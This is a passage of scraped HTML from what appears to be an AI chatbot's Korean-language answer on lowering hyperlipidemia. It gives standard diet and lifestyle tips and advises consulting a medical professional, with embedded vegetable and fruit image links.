_nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%B1%84%EC%86%8C"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="채소 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQEEFqnhh8N8QSBgbe87VdfVp2mwyEX1uLObSMW--pI8gdIS1eQqjeTEo0ybX5V"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%B1%84%EC%86%8C" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 채소 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B3%BC%EC%9D%BC"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="과일 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQeEAHZ62ctDCi1abMNBTHmgr8BcqEZpgGEEvfmtkANQ7nhTJ76r55t32KopEsP"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B3%BC%EC%9D%BC" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 과일 </div></div></single-image></response-element></div></li> <li data-sourcepos="22:1-22:95"><strong>나트륨 섭취 줄이기:</strong> 짠 음식은 혈압을 높이고 고지혈증을 악화시킬 수 있습니다. 가공식품 섭취를 줄이고, 음식을 조리할 때 소금 사용량을 줄이는 것이 좋습니다.</li> <li data-sourcepos="23:1-23:79"><strong>정제된 탄수화물 섭취 줄이기:</strong> 흰 쌀밥, 빵, 과자 등 정제된 탄수화물은 혈당을 빠르게 상승시켜 중성지방 수치를 높일 수 있습니다.</li> <li data-sourcepos="24:1-25:0"><strong>알코올 섭취 줄이기:</strong> 과도한 음주는 간에서 지방 합성을 증가시켜 고지혈증을 악화시킬 수 있습니다.</li> </ul><h3 data-sourcepos="26:1-26:20">고지혈증 낮추는 추가적인 요령</h3><ul data-sourcepos="28:1-32:0"> <li data-sourcepos="28:1-28:63"><strong>규칙적인 운동:</strong> 유산소 운동과 근력 운동을 병행하면 체중 감량과 혈중 지질 수치 개선에 도움이 됩니다.</li> <li data-sourcepos="29:1-29:49"><strong>금연:</strong> 흡연은 혈관을 수축시켜 동맥경화를 악화시키므로 반드시 금연해야 합니다.</li> <li data-sourcepos="30:1-30:66"><strong>스트레스 관리:</strong> 스트레스는 혈압을 상승시키고 혈중 지질 수치를 높일 수 있으므로 스트레스 관리가 중요합니다.</li> <li data-sourcepos="31:1-32:0"><strong>정기적인 건강검진:</strong> 꾸준히 건강검진을 받아 고지혈증을 조기에 발견하고 관리해야 합니다.</li> </ul><p data-sourcepos="33:1-33:110"><strong>주의:</strong> 고지혈증은 개인의 건강 상태에 따라 치료 방법이 달라질 수 있습니다. 식이요법 외에도 약물 치료가 필요한 경우도 있으므로 반드시 전문가와 상담하여 적절한 치료를 받는 것이 중요합니다.</p><p data-sourcepos="35:1-35:45"><strong>자신에게 맞는 식단과 생활습관을 개선하여 건강한 삶을 유지하시길 바랍니다.</strong></p><p data-sourcepos="37:1-37:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><hr data-sourcepos="39:1-39:3"><p data-sourcepos="40:1-40:63"><strong>참고:</strong> 위에 제시된 는 예시이며, 실제 는 검색 엔진에서 직접 검색하여 확인해보시기 바랍니다.</p></div> </div></div>